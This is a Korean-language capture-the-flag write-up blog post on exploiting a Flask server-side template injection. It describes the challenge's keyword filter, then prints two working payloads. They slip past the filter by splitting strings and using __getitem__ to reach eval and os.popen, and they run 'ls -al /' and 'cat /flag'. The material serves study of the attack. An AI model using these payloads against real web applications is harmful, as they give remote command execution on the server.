문제에 들어가보면 별다른 기능은 없고 name파라미터에 값을 넣어서 요청하면 응답 값 주석 내에 해당 값이 출력되는데 여기서 flask SSTI가 터진다.
필터링되어있는 구문을 보면 대충 아래와 같은데 상당히 조건이 까다로웠다.
filter ex) [ , ] , class , builtins , request , attr , app , url_for , config , file 등..
특수문자같은경우 대괄호 제외하고는 필터되는게 없었고 키워드같은경우는 상당히 다양하게 필터가 되어있는 상황이었다.
여러가지 테스트해본 결과 self , __dict__ , get_flashed_messages , session 정도가 필터링이 되지 않고있었는데 실제로 사용해보면 500에러가 터지면서 제대로 사용이 안되었고 추가로 좀 더 삽질을 하다가 getitem이 먹히고 있어서 아래와 같이 적절히 필터우회해서 플래그를 찾았다.
{{globals().__getitem__('__builti''ns__').__getitem__('ev''al')('__imp''ort__')('o''s').__dict__.__getitem__('po''pen')('ls%20-al%20/').read()}}
{{globals().__getitem__('__builti''ns__').__getitem__('ev''al')('__imp''ort__')('o''s').__dict__.__getitem__('po''pen')('cat%20/flag').read()}}
'CTF > Writeup' 카테고리의 다른 글
BSides Delhi CTF 2018 Old School SQL (0) | 2018.10.29 |
---|---|
Hack.lu CTF 2018 BabyReverse (0) | 2018.10.25 |
InCTF 2018 WildCat (0) | 2018.10.08 |
InCTF 2018 S3cur3 Bank (0) | 2018.10.08 |
InCTF 2018 The Most Secure File Uploader (0) | 2018.10.08 |